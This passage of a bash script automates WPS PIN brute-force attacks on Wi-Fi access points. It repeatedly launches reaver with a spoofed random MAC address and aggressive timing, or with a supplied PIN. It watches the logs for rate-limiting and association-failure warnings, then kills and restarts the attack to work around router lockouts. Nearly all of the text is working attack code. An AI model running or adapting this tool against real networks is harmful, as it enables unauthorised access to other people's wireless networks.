#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE22 == n ] || [ $KEEP_FILE22 == N ]; then

          rm VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R23 == n || $USE_R23 == N ]] && [[ $USE_LONG23 == n || $USE_LONG23 == N ]] && [[ $USE_PIN23 == n || $USE_PIN23 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME23"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL23"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP23"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE23 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME23-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL23 -b $TARGETAP23 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME23-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE23-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R23 == y || $USE_R23 == Y ]] && [[ $USE_LONG23 == n || $USE_LONG23 == N ]] && [[ $USE_PIN23 == n || $USE_PIN23 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME23"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL23"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP23"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX23" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY23"
echo -e "$info Reaver live time                   = $yel$LIVE23 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME23-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL23 -b $TARGETAP23 -vv -x 60 -r $RX23:$RY23 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME23-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE23-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R23 == n || $USE_R23 == N ]] && [[ $USE_LONG23 == y || $USE_LONG23 == Y ]] && [[ $USE_PIN23 == n || $USE_PIN23 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME23"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL23"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP23"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE23 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME23-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL23 -b $TARGETAP23 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME23-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE23-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R23 == y || $USE_R23 == Y ]] && [[ $USE_LONG23 == y || $USE_LONG23 == Y ]] && [[ $USE_PIN23 == n || $USE_PIN23 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME23"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL23"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP23"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX23" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY23"
echo -e "$info Reaver live time                   = $yel$LIVE23 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME23-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL23 -b $TARGETAP23 -r $RX23:$RY23 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME23-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE23-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R23 == n || $USE_R23 == N ]] && [[ $USE_LONG23 == n || $USE_LONG23 == N ]] && [[ $USE_PIN23 == y || $USE_PIN23 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME23"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL23"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP23"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE23 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME23-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL23 -b $TARGETAP23 -vv -x 60  --pin=$WPS_PIN23 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME23-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE23-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

